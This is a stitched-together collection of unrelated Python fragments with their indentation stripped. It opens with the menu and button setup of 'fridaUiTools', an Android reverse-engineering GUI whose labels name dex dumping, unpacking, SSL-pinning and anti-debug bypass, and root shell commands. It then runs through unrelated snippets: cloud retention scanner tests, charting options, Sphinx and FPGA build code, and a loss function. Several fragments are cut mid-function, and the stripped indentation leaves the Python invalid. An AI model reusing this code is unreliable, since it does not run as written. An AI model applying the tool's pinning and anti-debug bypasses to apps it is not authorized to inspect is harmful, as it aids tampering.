self.actionFridax64Start.setObjectName('actionFridax64Start')
self.actionPullApk = QtWidgets.QAction(MainWindow)
self.actionPullApk.setObjectName('actionPullApk')
self.actionPushFridaServerX86 = QtWidgets.QAction(MainWindow)
self.actionPushFridaServerX86.setObjectName('actionPushFridaServerX86')
self.actionUsb = QtWidgets.QAction(MainWindow)
self.actionUsb.setCheckable(True)
self.actionUsb.setChecked(True)
self.actionUsb.setObjectName('actionUsb')
self.actionWifi = QtWidgets.QAction(MainWindow)
self.actionWifi.setCheckable(True)
self.actionWifi.setObjectName('actionWifi')
self.actionVer14 = QtWidgets.QAction(MainWindow)
self.actionVer14.setCheckable(True)
self.actionVer14.setObjectName('actionVer14')
self.actionVer15 = QtWidgets.QAction(MainWindow)
self.actionVer15.setCheckable(True)
self.actionVer15.setChecked(True)
self.actionVer15.setObjectName('actionVer15')
self.actionChangePort = QtWidgets.QAction(MainWindow)
self.actionChangePort.setObjectName('actionChangePort')
self.actionConsoleLog = QtWidgets.QAction(MainWindow)
self.actionConsoleLog.setCheckable(True)
self.actionConsoleLog.setObjectName('actionConsoleLog')
self.actionMks0 = QtWidgets.QAction(MainWindow)
self.actionMks0.setCheckable(True)
self.actionMks0.setObjectName('actionMks0')
self.actionVer16 = QtWidgets.QAction(MainWindow)
self.actionVer16.setCheckable(True)
self.actionVer16.setObjectName('actionVer16')
self.actionChina = QtWidgets.QAction(MainWindow)
self.actionChina.setCheckable(True)
self.actionChina.setChecked(True)
self.actionChina.setObjectName('actionChina')
self.actionEnglish = QtWidgets.QAction(MainWindow)
self.actionEnglish.setCheckable(True)
self.actionEnglish.setObjectName('actionEnglish')
self.menufile.addAction(self.actionClearTmp)
self.menufile.addAction(self.actionClearLogs)
self.menufile.addAction(self.actionClearOutlog)
self.menufile.addAction(self.actionClearHookJson)
self.menufile.addAction(self.actionConsoleLog)
self.menuAttach.addAction(self.actionAttach)
self.menuAttach.addAction(self.actionAttachName)
self.menuAttach.addAction(self.actionSpawn)
self.menu_frida_server.addAction(self.actionFrida32Start)
self.menu_frida_server.addAction(self.actionFrida64Start)
self.menu_frida_server.addAction(self.actionFridax86Start)
self.menu_frida_server.addAction(self.actionFridax64Start)
self.menuedit.addAction(self.menuAttach.menuAction())
self.menuedit.addAction(self.actionStop)
self.menuedit.addAction(self.menu_frida_server.menuAction())
self.menuedit.addAction(self.actionChangePort)
self.menuhelp.addAction(self.actionabort)
self.menu.addAction(self.actionPushFridaServer)
self.menu.addAction(self.actionPushFridaServerX86)
self.menu.addAction(self.actionPushFartSo)
self.menu.addAction(self.actionPullDumpDexRes)
self.menu.addAction(self.actionPullFartRes)
self.menu.addAction(self.actionPullApk)
self.menucmd.addAction(self.actionSuC)
self.menucmd.addAction(self.actionSu0)
self.menucmd.addAction(self.actionMks0)
self.menu_2.addAction(self.actionUsb)
self.menu_2.addAction(self.actionWifi)
self.menufrida.addAction(self.actionVer14)
self.menufrida.addAction(self.actionVer15)
self.menufrida.addAction(self.actionVer16)
self.menu_3.addAction(self.actionChina)
self.menu_3.addAction(self.actionEnglish)
self.menubar.addAction(self.menufile.menuAction())
self.menubar.addAction(self.menuedit.menuAction())
self.menubar.addAction(self.menu.menuAction())
self.menubar.addAction(self.menucmd.menuAction())
self.menubar.addAction(self.menu_2.menuAction())
self.menubar.addAction(self.menufrida.menuAction())
self.menubar.addAction(self.menu_3.menuAction())
self.menubar.addAction(self.menuhelp.menuAction())
self.retranslateUi(MainWindow)
self.tabWidget.setCurrentIndex(0)
self.groupLogs.setCurrentIndex(2)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate('MainWindow', 'fridaUiTools'))
self.groupBox.setTitle(_translate('MainWindow', '()'))
self.btnFart.setText(_translate('MainWindow', 'Fart'))
self.btnDumpPtr.setText(_translate('MainWindow', 'dump'))
self.btnDumpDex.setText(_translate('MainWindow', 'dump_dexclass'))
self.btnDumpSo.setText(_translate('MainWindow', 'dump so'))
self.btnWallbreaker.setText(_translate('MainWindow', 'WallBreaker'))
self.btnCallFunction.setText(_translate('MainWindow', ''))
self.btnMemSearch.setText(_translate('MainWindow', ''))
self.groupBox_2.setTitle(_translate('MainWindow', 'hook()'))
self.btnMatchMethod.setText(_translate('MainWindow', 'ZenTracer'))
self.btnNatives.setText(_translate('MainWindow', 'native'))
self.btnStalker.setText(_translate('MainWindow', 'stalker'))
self.btnTuoke.setText(_translate('MainWindow', ''))
self.btnCustom.setText(_translate('MainWindow', ''))
self.btnPatch.setText(_translate('MainWindow', 'Patch'))
self.btnAntiFrida.setText(_translate('MainWindow', 'frida'))
self.chkNetwork.setText(_translate('MainWindow', 'r0capture'))
self.chkJni.setText(_translate('MainWindow', 'jnitrace'))
self.chkJavaEnc.setText(_translate('MainWindow', 'java'))
self.chkSslPining.setText(_translate('MainWindow', 'ssl pining'))
self.chkHookEvent.setText(_translate('MainWindow', 'hookEvent'))
self.chkRegisterNative.setText(_translate('MainWindow', 'RegisterNative'))
self.chkArtMethod.setText(_translate('MainWindow', 'ArtMethod'))
self.chkLibArt.setText(_translate('MainWindow', 'libArt'))
self.chkAntiDebug.setText(_translate('MainWindow', 'anti_debug'))
self.chkNewJnitrace.setText(_translate('MainWindow', 'FCAnd_jnitrace'))
self.groupLogs.setTabText(self.groupLogs.indexOf(self.tab_3), _translate('MainWindow', ''))
self.groupLogs.setTabText(self.groupLogs.indexOf(self.tab_5), _translate('MainWindow', ''))
self.label.setText(_translate('MainWindow', ':'))
self.btnSaveHooks.setText(_translate('MainWindow', ''))
self.btnImportHooks.setText(_translate('MainWindow', 'JSON'))
self.label_2.setText(_translate('MainWindow', ':'))
self.btnLoadHooks.setText(_translate('MainWindow', ''))
self.btnClearHooks.setText(_translate('MainWindow', ''))
self.groupLogs.setTabText(self.groupLogs.indexOf(self.tab_4), _translate('MainWindow', 'hook'))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), _translate('MainWindow', ''))
self.groupBox_3.setTitle(_translate('MainWindow', 'module'))
self.btnExport.setText(_translate('MainWindow', 'Export'))
self.btnSymbol.setText(_translate('MainWindow', 'Symbol'))
self.btnSymbolClear.setText(_translate('MainWindow', ''))
self.groupBox_5.setTitle(_translate('MainWindow', ''))
self.groupBox_4.setTitle(_translate('MainWindow', 'java'))
self.btnMethod.setText(_translate('MainWindow', ''))
self.btnMethodClear.setText(_translate('MainWindow', ''))
self.groupBox_6.setTitle(_translate('MainWindow', 'java'))
self.groupBox_7.setTitle(_translate('MainWindow', '(todo)'))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), _translate('MainWindow', ''))
self.groupBox_8.setTitle(_translate('MainWindow', ''))
self.label_8.setText(_translate('MainWindow', ':app,app'))
self.label_12.setText(_translate('MainWindow', ':'))
self.btnFlush.setText(_translate('MainWindow', ''))
self.label_9.setText(_translate('MainWindow', ':'))
self.label_10.setText(_translate('MainWindow', ':'))
self.label_11.setText(_translate('MainWindow', 'id:'))
self.label_13.setText(_translate('MainWindow', 'base:'))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_6), _translate('MainWindow', ''))
self.groupBox_9.setTitle(_translate('MainWindow', ''))
self.btnFartOpBin.setText(_translate('MainWindow', 'fartbin'))
self.btnOpStalkerLog.setText(_translate('MainWindow', 'stalker'))
self.groupBox_10.setTitle(_translate('MainWindow', 'todo'))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_7), _translate('MainWindow', ''))
self.menufile.setTitle(_translate('MainWindow', ''))
self.menuedit.setTitle(_translate('MainWindow', ''))
self.menuAttach.setTitle(_translate('MainWindow', ''))
self.menu_frida_server.setTitle(_translate('MainWindow', 'frida-server'))
self.menuhelp.setTitle(_translate('MainWindow', ''))
self.menu.setTitle(_translate('MainWindow', ''))
self.menucmd.setTitle(_translate('MainWindow', 'cmd'))
self.menu_2.setTitle(_translate('MainWindow', ''))
self.menufrida.setTitle(_translate('MainWindow', 'frida'))
self.menu_3.setTitle(_translate('MainWindow', ''))
self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar'))
self.actionopen.setText(_translate('MainWindow', 'open'))
self.actionexit.setText(_translate('MainWindow', 'exit'))
self.actionabort.setText(_translate('MainWindow', ''))
self.actionStop.setText(_translate('MainWindow', ''))
self.action.setText(_translate('MainWindow', ''))
self.action_2.setText(_translate('MainWindow', ''))
self.actionspwan.setText(_translate('MainWindow', 'spwan'))
self.actionAttach.setText(_translate('MainWindow', ''))
self.actionAttachName.setText(_translate('MainWindow', ''))
self.actionSpawn.setText(_translate('MainWindow', 'spawn'))
self.actionClearTmp.setText(_translate('MainWindow', ''))
self.actionClearLogs.setText(_translate('MainWindow', ''))
self.actionClearOutlog.setText(_translate('MainWindow', ''))
self.actionPushFartSo.setText(_translate('MainWindow', 'fart.so,gson.jar'))
self.actionClearHookJson.setText(_translate('MainWindow', 'json'))
self.actionPullDumpDexRes.setText(_translate('MainWindow', 'dump_dex'))
self.actionPushFridaServer.setText(_translate('MainWindow', 'frida-server(arm,arm64)'))
self.actionPullFartRes.setText(_translate('MainWindow', 'fart'))
self.actionFrida32Start.setText(_translate('MainWindow', 'frida-server for arm'))
self.actionFrida64Start.setText(_translate('MainWindow', 'frida-server for arm64'))
self.actionSuC.setText(_translate('MainWindow', 'adb shell su -c'))
self.actionSu0.setText(_translate('MainWindow', 'adb shell su 0'))
self.actionFridax86Start.setText(_translate('MainWindow', 'frida-server for x86'))
self.actionFridax64Start.setText(_translate('MainWindow', 'frida-server for x64'))
self.actionPullApk.setText(_translate('MainWindow', 'apk'))
self.actionPushFridaServerX86.setText(_translate('MainWindow', 'frida-server(x86,x64)'))
self.actionUsb.setText(_translate('MainWindow', 'usb'))
self.actionWifi.setText(_translate('MainWindow', 'wifi'))
self.actionVer14.setText(_translate('MainWindow', '14.2.18'))
self.actionVer15.setText(_translate('MainWindow', '15.1.9'))
self.actionChangePort.setText(_translate('MainWindow', ''))
self.actionConsoleLog.setText(_translate('MainWindow', ''))
self.actionMks0.setText(_translate('MainWindow', 'adb shell mks 0'))
self.actionVer16.setText(_translate('MainWindow', '16.0.8'))
self.actionChina.setText(_translate('MainWindow', ''))
self.actionEnglish.setText(_translate('MainWindow', 'English')) |
def assert_help_output_equals(actual: str, expected: str) -> bool:
prog = sys.argv[0].split('/')[(- 1)]
if (prog != 'pytest'):
expected = expected.replace('usage: pytest', f'usage: {prog}')
remove = (string.punctuation + string.whitespace)
actual_str = ''.join(actual.split())
expected_str = ''.join(expected.split())
assert (actual_str == expected_str), f'{actual_str} != {expected_str}' |
def invert(list1, list2):
if (len(list1) != len(list2)):
raise ValueError('Dimension of Paraview basis and Element basis unequal.')
def find_same(val, lst, tol=1e-08):
for (idx, x) in enumerate(lst):
if (np.linalg.norm((val - x)) < tol):
return idx
raise ValueError("Unable to establish permutation between Paraview basis and given element's basis.")
perm = [find_same(x, list2) for x in list1]
if (len(set(perm)) != len(perm)):
raise ValueError("Unable to establish permutation between Paraview basis and given element's basis.")
return perm |
class RetentionScannerTest(ForsetiTestCase):
def setUp(self):
def test_bucket_retention_on_multi_buckets(self):
rule_yaml = '\nrules:\n - name: multiple buckets in a single rule\n applies_to:\n - bucket\n resource:\n - type: bucket\n resource_ids:\n - fake-bucket-1\n - fake-bucket-2\n - fake-bucket-3\n minimum_retention: 90\n\n'
bucket_test_data = [frsd.FakeBucketDataInput(id='fake-bucket-1', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})]), frsd.FakeBucketDataInput(id='fake-bucket-2', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 90})]), frsd.FakeBucketDataInput(id='fake-bucket-3', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})]), frsd.FakeBucketDataInput(id='fake-bucket-4', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})])]
_mock_bucket = get_mock_bucket_retention(bucket_test_data)
with tempfile.NamedTemporaryFile(suffix='.yaml') as f:
f.write(rule_yaml.encode())
f.flush()
_fake_bucket_list = _mock_bucket(None, 'bucket')
self.scanner = retention_scanner.RetentionScanner({}, {}, mock.MagicMock(), '', '', f.name)
mock_data_access = mock.MagicMock()
mock_data_access.scanner_iter.side_effect = _mock_bucket
mock_service_config = mock.MagicMock()
mock_service_config.model_manager = mock.MagicMock()
mock_service_config.model_manager.get.return_value = (mock.MagicMock(), mock_data_access)
self.scanner.service_config = mock_service_config
all_lifecycle_info = self.scanner._retrieve()
all_violations = self.scanner._find_violations(all_lifecycle_info)
res_map = {}
for i in _fake_bucket_list:
res_map[i.id] = i
expected_violations = set([get_expect_violation_item(res_map, 'fake-bucket-1', 'multiple buckets in a single rule', 0), get_expect_violation_item(res_map, 'fake-bucket-3', 'multiple buckets in a single rule', 0)])
self.assertEqual(expected_violations, set(all_violations))
def test_bucket_retention_on_multi_projects(self):
rule_yaml = '\nrules:\n - name: multiple projects in a single rule\n applies_to:\n - bucket\n resource:\n - type: project\n resource_ids:\n - def-project-1\n - def-project-2\n - def-project-3\n minimum_retention: 90\n\n'
bucket_test_data = [frsd.FakeBucketDataInput(id='fake-bucket-11', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})]), frsd.FakeBucketDataInput(id='fake-bucket-12', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 90})]), frsd.FakeBucketDataInput(id='fake-bucket-13', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})]), frsd.FakeBucketDataInput(id='fake-bucket-2', project=frsd.PROJECT2, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 90})]), frsd.FakeBucketDataInput(id='fake-bucket-3', project=frsd.PROJECT3, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})]), frsd.FakeBucketDataInput(id='fake-bucket-4', project=frsd.PROJECT4, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})])]
_mock_bucket = get_mock_bucket_retention(bucket_test_data)
with tempfile.NamedTemporaryFile(suffix='.yaml') as f:
f.write(rule_yaml.encode())
f.flush()
_fake_bucket_list = _mock_bucket(None, resource_type='bucket')
self.scanner = retention_scanner.RetentionScanner({}, {}, mock.MagicMock(), '', '', f.name)
mock_data_access = mock.MagicMock()
mock_data_access.scanner_iter.side_effect = _mock_bucket
mock_service_config = mock.MagicMock()
mock_service_config.model_manager = mock.MagicMock()
mock_service_config.model_manager.get.return_value = (mock.MagicMock(), mock_data_access)
self.scanner.service_config = mock_service_config
all_lifecycle_info = self.scanner._retrieve()
all_violations = self.scanner._find_violations(all_lifecycle_info)
res_map = {}
for i in _fake_bucket_list:
res_map[i.id] = i
expected_violations = set([get_expect_violation_item(res_map, 'fake-bucket-11', 'multiple projects in a single rule', 0), get_expect_violation_item(res_map, 'fake-bucket-13', 'multiple projects in a single rule', 0), get_expect_violation_item(res_map, 'fake-bucket-3', 'multiple projects in a single rule', 0)])
self.assertEqual(expected_violations, set(all_violations))
def test_bucket_retention_on_mix_project_and_bucket(self):
rule_yaml = '\nrules:\n - name: project 1 min 90\n applies_to:\n - bucket\n resource:\n - type: project\n resource_ids:\n - def-project-1\n minimum_retention: 90\n - name: buckets max 100\n applies_to:\n - bucket\n resource:\n - type: bucket\n resource_ids:\n - fake-bucket-11\n - fake-bucket-12\n - fake-bucket-13\n maximum_retention: 100\n\n'
bucket_test_data = [frsd.FakeBucketDataInput(id='fake-bucket-11', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 90})]), frsd.FakeBucketDataInput(id='fake-bucket-12', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 89})]), frsd.FakeBucketDataInput(id='fake-bucket-13', project=frsd.PROJECT1, lifecycles=[])]
_mock_bucket = get_mock_bucket_retention(bucket_test_data)
with tempfile.NamedTemporaryFile(suffix='.yaml') as f:
f.write(rule_yaml.encode())
f.flush()
_fake_bucket_list = _mock_bucket(resource_type='bucket')
self.scanner = retention_scanner.RetentionScanner({}, {}, mock.MagicMock(), '', '', f.name)
mock_data_access = mock.MagicMock()
mock_data_access.scanner_iter.side_effect = _mock_bucket
mock_service_config = mock.MagicMock()
mock_service_config.model_manager = mock.MagicMock()
mock_service_config.model_manager.get.return_value = (mock.MagicMock(), mock_data_access)
self.scanner.service_config = mock_service_config
all_lifecycle_info = self.scanner._retrieve()
all_violations = self.scanner._find_violations(all_lifecycle_info)
res_map = {}
for i in _fake_bucket_list:
res_map[i.id] = i
expected_violations = set([get_expect_violation_item(res_map, 'fake-bucket-12', 'project 1 min 90', 0), get_expect_violation_item(res_map, 'fake-bucket-13', 'buckets max 100', 1)])
self.assertEqual(expected_violations, set(all_violations))
def test_bucket_retention_on_multi_rules_on_a_project(self):
rule_yaml = '\nrules:\n - name: project 1 min 90\n applies_to:\n - bucket\n resource:\n - type: project\n resource_ids:\n - def-project-1\n minimum_retention: 90\n - name: project 1 min 100\n applies_to:\n - bucket\n resource:\n - type: project\n resource_ids:\n - def-project-1\n minimum_retention: 100\n - name: project 1 min 110\n applies_to:\n - bucket\n resource:\n - type: project\n resource_ids:\n - def-project-1\n minimum_retention: 110\n\n'
bucket_test_data = [frsd.FakeBucketDataInput(id='fake-bucket-11', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 90})]), frsd.FakeBucketDataInput(id='fake-bucket-12', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 100})]), frsd.FakeBucketDataInput(id='fake-bucket-13', project=frsd.PROJECT1, lifecycles=[frsd.LifecycleInput(action='Delete', conditions={'age': 110})])]
_mock_bucket = get_mock_bucket_retention(bucket_test_data)
with tempfile.NamedTemporaryFile(suffix='.yaml') as f:
f.write(rule_yaml.encode())
f.flush()
_fake_bucket_list = _mock_bucket(resource_type='bucket')
self.scanner = retention_scanner.RetentionScanner({}, {}, mock.MagicMock(), '', '', f.name)
mock_data_access = mock.MagicMock()
mock_data_access.scanner_iter.side_effect = _mock_bucket
mock_service_config = mock.MagicMock()
mock_service_config.model_manager = mock.MagicMock()
mock_service_config.model_manager.get.return_value = (mock.MagicMock(), mock_data_access)
self.scanner.service_config = mock_service_config
all_lifecycle_info = self.scanner._retrieve()
all_violations = self.scanner._find_violations(all_lifecycle_info)
res_map = {}
for i in _fake_bucket_list:
res_map[i.id] = i
expected_violations = set([get_expect_violation_item(res_map, 'fake-bucket-11', 'project 1 min 100', 1), get_expect_violation_item(res_map, 'fake-bucket-11', 'project 1 min 110', 2), get_expect_violation_item(res_map, 'fake-bucket-12', 'project 1 min 110', 2)])
self.assertEqual(expected_violations, set(all_violations))
def test_table_retention(self):
rule_yaml = '\nrules:\n - name: project 5 max 90 on table\n applies_to:\n - bigquery_table\n resource:\n - type: table\n resource_ids:\n - "def-project-5:ds01.fake-table-01"\n maximum_retention: 100\n\n'
table_test_data = [frsd.FakeTableDataInput(table_id='fake-table-01', dataset=frsd.DATASET1, expiration_time=(frsd.DEFAULT_TABLE_CREATE_TIME + (110 * rre._MS_PER_DAY))), frsd.FakeTableDataInput(table_id='fake-table-02', dataset=frsd.DATASET1, expiration_time=(frsd.DEFAULT_TABLE_CREATE_TIME + (89 * rre._MS_PER_DAY))), frsd.FakeTableDataInput(table_id='fake-table-03', dataset=frsd.DATASET1, expiration_time=(frsd.DEFAULT_TABLE_CREATE_TIME + (91 * rre._MS_PER_DAY)))]
_mock_bucket = get_mock_table_retention(table_test_data)
with tempfile.NamedTemporaryFile(suffix='.yaml') as f:
f.write(rule_yaml.encode())
f.flush()
_fake_bucket_list = _mock_bucket(resource_type='bigquery_table')
self.scanner = retention_scanner.RetentionScanner({}, {}, mock.MagicMock(), '', '', f.name)
mock_data_access = mock.MagicMock()
mock_data_access.scanner_iter.side_effect = _mock_bucket
mock_service_config = mock.MagicMock()
mock_service_config.model_manager = mock.MagicMock()
mock_service_config.model_manager.get.return_value = (mock.MagicMock(), mock_data_access)
self.scanner.service_config = mock_service_config
all_lifecycle_info = self.scanner.run() |
class AndQualifier(BaseQualifier):
def __init__(self, *qualifiers: QualifierFn) -> None:
if (not qualifiers):
raise TypeError('Non-empty qualifiers required')
self._qualifiers = qualifiers
def __call__(self, connection: ConnectionAPI, logic: LogicAPI) -> bool:
return all((qualifier(connection, logic) for qualifier in self._qualifiers)) |
class OptionSeriesFunnelSonificationTracksMapping(Options):
def frequency(self) -> 'OptionSeriesFunnelSonificationTracksMappingFrequency':
return self._config_sub_data('frequency', OptionSeriesFunnelSonificationTracksMappingFrequency)
def gapBetweenNotes(self) -> 'OptionSeriesFunnelSonificationTracksMappingGapbetweennotes':
return self._config_sub_data('gapBetweenNotes', OptionSeriesFunnelSonificationTracksMappingGapbetweennotes)
def highpass(self) -> 'OptionSeriesFunnelSonificationTracksMappingHighpass':
return self._config_sub_data('highpass', OptionSeriesFunnelSonificationTracksMappingHighpass)
def lowpass(self) -> 'OptionSeriesFunnelSonificationTracksMappingLowpass':
return self._config_sub_data('lowpass', OptionSeriesFunnelSonificationTracksMappingLowpass)
def noteDuration(self) -> 'OptionSeriesFunnelSonificationTracksMappingNoteduration':
return self._config_sub_data('noteDuration', OptionSeriesFunnelSonificationTracksMappingNoteduration)
def pan(self) -> 'OptionSeriesFunnelSonificationTracksMappingPan':
return self._config_sub_data('pan', OptionSeriesFunnelSonificationTracksMappingPan)
def pitch(self) -> 'OptionSeriesFunnelSonificationTracksMappingPitch':
return self._config_sub_data('pitch', OptionSeriesFunnelSonificationTracksMappingPitch)
def playDelay(self) -> 'OptionSeriesFunnelSonificationTracksMappingPlaydelay':
return self._config_sub_data('playDelay', OptionSeriesFunnelSonificationTracksMappingPlaydelay)
def rate(self) -> 'OptionSeriesFunnelSonificationTracksMappingRate':
return self._config_sub_data('rate', OptionSeriesFunnelSonificationTracksMappingRate)
def text(self):
return self._config_get(None)
def text(self, text: str):
self._config(text, js_type=False)
def time(self) -> 'OptionSeriesFunnelSonificationTracksMappingTime':
return self._config_sub_data('time', OptionSeriesFunnelSonificationTracksMappingTime)
def tremolo(self) -> 'OptionSeriesFunnelSonificationTracksMappingTremolo':
return self._config_sub_data('tremolo', OptionSeriesFunnelSonificationTracksMappingTremolo)
def volume(self) -> 'OptionSeriesFunnelSonificationTracksMappingVolume':
return self._config_sub_data('volume', OptionSeriesFunnelSonificationTracksMappingVolume) |
class NavBars():
def __init__(self, ui):
self.page = ui.page
def fixed(self, logo=None, title=None, width=(100, '%'), height=(40, 'px'), options=None, profile=False):
bar = self.page.ui.navbar(logo=logo, title=title, width=width, height=height, options=options, profile=profile)
html.Html.set_component_skin(bar)
return bar
def top(self, logo=None, title=None, width=(100, '%'), height=(40, 'px'), options=None, profile=False):
bar = self.page.ui.navbar(logo=logo, title=title, width=width, height=height, options=options, profile=profile)
bar.style.css.position = False
html.Html.set_component_skin(bar)
return bar
def transparent(self, logo=None, title=None, width=(100, '%'), height=(40, 'px'), options=None, profile=False):
bar = self.page.ui.navbar(logo=logo, title=title, width=width, height=height, options=options, profile=profile)
bar.style.css.position = 'absolute'
bar.style.css.top = 0
bar.no_background()
html.Html.set_component_skin(bar)
return bar
def dark(self, logo=None, title=None, width=(100, '%'), height=(40, 'px'), options=None, profile=False):
bar = self.page.ui.navbar(logo=logo, title=title, width=width, height=height, options=options, profile=profile)
bar.style.css.position = 'absolute'
bar.style.css.top = 0
bar.no_background()
bar.style.css.opacity = 0.5
bar.style.css.background = 'black'
html.Html.set_component_skin(bar)
return bar |
def run(self):
from sphinx.util.nodes import set_source_info
from sphinx.util.i18n import search_image_for_language
warning = self.state.document.reporter.warning
env = self.state.document.settings.env
if (self.arguments and self.content):
return [warning('uml directive cannot have both content and a filename argument', line=self.lineno)]
if self.arguments:
fn = search_image_for_language(self.arguments[0], env)
(relfn, absfn) = env.relfn2path(fn)
env.note_dependency(relfn)
try:
umlcode = sphinxcontrib.plantuml._read_utf8(absfn)
except (IOError, UnicodeDecodeError) as err:
return [warning(('PlantUML file "%s" cannot be read: %s' % (fn, err)), line=self.lineno)]
source = absfn
line = 1
else:
relfn = env.doc2path(env.docname, base=None)
umlcode = '\n'.join(self.content)
(source, line) = self.state_machine.get_source_and_line(self.content_offset)
node = sphinxcontrib.plantuml.plantuml(self.block_text, **self.options)
node['uml'] = umlcode
node['incdir'] = os.path.dirname(relfn)
node['filename'] = os.path.split(relfn)[1]
(node.source, node.line) = (source, line)
if (('caption' in self.options) or ('align' in self.options)):
node = nodes.figure('', node)
if ('align' in self.options):
node['align'] = self.options['align']
if ('caption' in self.options):
(inodes, messages) = self.state.inline_text(self.options['caption'], self.lineno)
caption_node = nodes.caption(self.options['caption'], '', *inodes)
caption_node.extend(messages)
set_source_info(self, caption_node)
node += caption_node
self.add_name(node)
if ('html_format' in self.options):
node['html_format'] = self.options['html_format']
if ('latex_format' in self.options):
node['latex_format'] = self.options['latex_format']
return [node] |
def main():
parser = argparse.ArgumentParser(description='LiteSATA bench on KCU105')
parser.add_argument('--build', action='store_true', help='Build bitstream')
parser.add_argument('--load', action='store_true', help='Load bitstream (to SRAM)')
parser.add_argument('--gen', default='3', help='SATA Gen: 1, 2 or 3 (default)')
parser.add_argument('--connector', default='fmc', help='SATA Connector: fmc (default) , sfp or pcie')
parser.add_argument('--with-analyzer', action='store_true', help='Add LiteScope Analyzer')
args = parser.parse_args()
platform = xilinx_kcu105.Platform()
platform.add_extension(_sata_io)
soc = SATATestSoC(platform, args.connector, ('gen' + args.gen), with_analyzer=args.with_analyzer)
builder = Builder(soc, csr_csv='csr.csv')
builder.build(run=args.build)
if args.load:
prog = soc.platform.create_programmer()
prog.load_bitstream(os.path.join(builder.gateware_dir, (soc.build_name + '.bit'))) |
def make_mapping_code(Q, cmapping, fmapping, t_in, t_out):
if (fmapping == cmapping):
return None
A = get_piola_tensor(cmapping, Q.mesh(), inverse=False)
B = get_piola_tensor(fmapping, Q.mesh(), inverse=True)
tensor = A
if B:
tensor = (ufl.dot(B, tensor) if tensor else B)
if (tensor is None):
tensor = ufl.Identity(Q.ufl_element().value_shape[0])
u = ufl.Coefficient(Q)
expr = ufl.dot(tensor, u)
(prolong_map_kernel, coefficients) = prolongation_transfer_kernel_action(Q, expr)
prolong_map_code = cache_generate_code(prolong_map_kernel, Q._comm)
prolong_map_code = prolong_map_code.replace('void expression_kernel', 'static void prolongation_mapping')
coefficients.remove(u)
expr = ufl.dot(u, tensor)
(restrict_map_kernel, coefficients) = prolongation_transfer_kernel_action(Q, expr)
restrict_map_code = cache_generate_code(restrict_map_kernel, Q._comm)
restrict_map_code = restrict_map_code.replace('void expression_kernel', 'static void restriction_mapping')
restrict_map_code = restrict_map_code.replace('#include <stdint.h>', '')
restrict_map_code = restrict_map_code.replace('#include <complex.h>', '')
coefficients.remove(u)
coef_args = ''.join([(', c%d' % i) for i in range(len(coefficients))])
coef_decl = ''.join([(', PetscScalar const *restrict c%d' % i) for i in range(len(coefficients))])
qlen = (Q.value_size * Q.finat_element.space_dimension())
prolong_code = f'''
for({IntType_c} i=0; i<{qlen}; i++) {t_out}[i] = 0.0E0;
prolongation_mapping({t_out}{coef_args}, {t_in});
'''
restrict_code = f'''
for({IntType_c} i=0; i<{qlen}; i++) {t_in}[i] = 0.0E0;
restriction_mapping({t_in}{coef_args}, {t_out});
'''
mapping_code = (prolong_map_code + restrict_map_code)
return (coef_decl, prolong_code, restrict_code, mapping_code, coefficients) |
class Loss(torch.nn.Module):
def __init__(self, loss_type: str='cross_entropy', beta: float=0.999, fl_gamma=2, samples_per_class=None, class_balanced=False):
super(Loss, self).__init__()
if ((class_balanced is True) and (samples_per_class is None)):
raise ValueError('samples_per_class cannot be None when class_balanced is True')
self.loss_type = loss_type
self.beta = beta
self.fl_gamma = fl_gamma
self.samples_per_class = samples_per_class
self.class_balanced = class_balanced
def forward(self, logits: torch.tensor, labels: torch.tensor):
batch_size = logits.size(0)
num_classes = logits.size(1)
labels_one_hot = F.one_hot(labels, num_classes).float()
if self.class_balanced:
effective_num = (1.0 - np.power(self.beta, self.samples_per_class))
weights = ((1.0 - self.beta) / np.array(effective_num))
weights = ((weights / np.sum(weights)) * num_classes)
weights = torch.tensor(weights, device=logits.device).float()
if (self.loss_type != 'cross_entropy'):
weights = weights.unsqueeze(0)
weights = (weights.repeat(batch_size, 1) * labels_one_hot)
weights = weights.sum(1)
weights = weights.unsqueeze(1)
weights = weights.repeat(1, num_classes)
else:
weights = None
if (self.loss_type == 'focal_loss'):
cb_loss = focal_loss(logits, labels_one_hot, alpha=weights, gamma=self.fl_gamma)
elif (self.loss_type == 'cross_entropy'):
cb_loss = F.cross_entropy(input=logits, target=labels_one_hot, weight=weights)
elif (self.loss_type == 'binary_cross_entropy'):
cb_loss = F.binary_cross_entropy_with_logits(input=logits, target=labels_one_hot, weight=weights)
elif (self.loss_type == 'softmax_binary_cross_entropy'):
pred = logits.softmax(dim=1)
cb_loss = F.binary_cross_entropy(input=pred, target=labels_one_hot, weight=weights)
return cb_loss |
class RLSGRPC(ServiceType):
skip_variant: ClassVar[bool] = True
def __init__(self, protocol_version: str='v3', *args, **kwargs) -> None:
self.protocol_version = protocol_version
kwargs['service_manifests'] = integration_manifests.load('grpc_rls_backend')
super().__init__(*args, **kwargs)
def requirements(self):
(yield ('pod', self.path.k8s)) |
def popen_and_call(popen_args, on_exit):
def run_in_thread(on_exit, popen_args):
import subprocess
try:
